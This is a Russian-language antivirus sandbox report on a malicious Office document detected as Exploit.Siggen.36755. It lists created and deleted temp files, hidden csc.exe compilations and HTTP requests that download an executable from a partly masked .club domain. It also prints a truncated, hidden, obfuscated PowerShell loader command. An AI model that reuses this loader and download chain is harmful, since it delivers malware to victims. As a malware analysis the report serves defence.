Exploit.Siggen.36755

Техническая информация

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function k7b746 {param($feb331)$h63bed='n3e8f9';$he6712='';for ($i=0; $i -lt $feb331.length;$i+=2){$o58ea=[convert]::ToByte($feb331.Substring($i,2),16);$he6712+=[char]($o5...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\xuckrrkd.0.cs
%TEMP%\ehnevfhy.dll
%TEMP%\res4a4a.tmp
%TEMP%\csc4a3a.tmp
%TEMP%\ehnevfhy.out
%TEMP%\ehnevfhy.cmdline
%TEMP%\ehnevfhy.0.cs
%TEMP%\v-_gset-.dll
%TEMP%\res2ec3.tmp
%TEMP%\csc2eb3.tmp
%TEMP%\v-_gset-.out
%TEMP%\v-_gset-.cmdline
%TEMP%\v-_gset-.0.cs
%TEMP%\n8rwt5uz.dll
%TEMP%\res19b5.tmp
%TEMP%\csc19a4.tmp
%TEMP%\n8rwt5uz.out
%TEMP%\n8rwt5uz.cmdline
%TEMP%\n8rwt5uz.0.cs
%TEMP%\xuckrrkd.dll
%TEMP%\resfd34.tmp
%TEMP%\tunmjehn.dll
%TEMP%\resfce6.tmp
%TEMP%\cscfd14.tmp
%TEMP%\cscfcc6.tmp
%TEMP%\tunmjehn.out
%TEMP%\tunmjehn.cmdline
%TEMP%\tunmjehn.0.cs
%TEMP%\xuckrrkd.out
%TEMP%\xuckrrkd.cmdline
%TEMP%\.ds_store
%LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{54a78b75-75a1-43cc-ad08-63e6eb35aecc}.tmp

Удаляет следующие файлы

%TEMP%\resfce6.tmp
%TEMP%\res2ec3.tmp
%TEMP%\csc2eb3.tmp
%TEMP%\v-_gset-.dll
%TEMP%\v-_gset-.0.cs
%TEMP%\v-_gset-.out
%TEMP%\n8rwt5uz.dll
%TEMP%\n8rwt5uz.0.cs
%TEMP%\v-_gset-.cmdline
%TEMP%\csc4a3a.tmp
%TEMP%\ehnevfhy.out
%TEMP%\ehnevfhy.0.cs
%TEMP%\ehnevfhy.dll
%TEMP%\ehnevfhy.pdb
%TEMP%\v-_gset-.pdb
%TEMP%\res4a4a.tmp
%TEMP%\n8rwt5uz.cmdline
%TEMP%\n8rwt5uz.out
%TEMP%\n8rwt5uz.pdb
%TEMP%\tunmjehn.dll
%TEMP%\tunmjehn.cmdline
%TEMP%\tunmjehn.pdb
%TEMP%\tunmjehn.0.cs
%TEMP%\tunmjehn.out
%TEMP%\resfd34.tmp
%TEMP%\cscfcc6.tmp
%TEMP%\cscfd14.tmp
%TEMP%\xuckrrkd.cmdline
%TEMP%\xuckrrkd.pdb
%TEMP%\xuckrrkd.0.cs
%TEMP%\xuckrrkd.dll
%TEMP%\res19b5.tmp
%TEMP%\csc19a4.tmp
%TEMP%\xuckrrkd.out
%TEMP%\ehnevfhy.cmdline
%TEMP%\.ds_store

Сетевая активность

TCP

Запросы HTTP GET

http://ra###ech.club/_output3592A60.exe
http://www.ra###ech.club/_output3592A60.exe

UDP

DNS ASK ra###ech.club

Другое

Создает и запускает на исполнение

'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xuckrrkd.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tunmjehn.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFCE6.tmp" "%TEMP%\CSCFCC6.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFD34.tmp" "%TEMP%\CSCFD14.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\n8rwt5uz.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES19B5.tmp" "%TEMP%\CSC19A4.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\v-_gset-.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2EC3.tmp" "%TEMP%\CSC2EB3.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ehnevfhy.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4A4A.tmp" "%TEMP%\CSC4A3A.tmp"' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xuckrrkd.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tunmjehn.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFCE6.tmp" "%TEMP%\CSCFCC6.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFD34.tmp" "%TEMP%\CSCFD14.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\n8rwt5uz.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES19B5.tmp" "%TEMP%\CSC19A4.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\v-_gset-.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2EC3.tmp" "%TEMP%\CSC2EB3.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ehnevfhy.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4A4A.tmp" "%TEMP%\CSC4A3A.tmp"
'%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding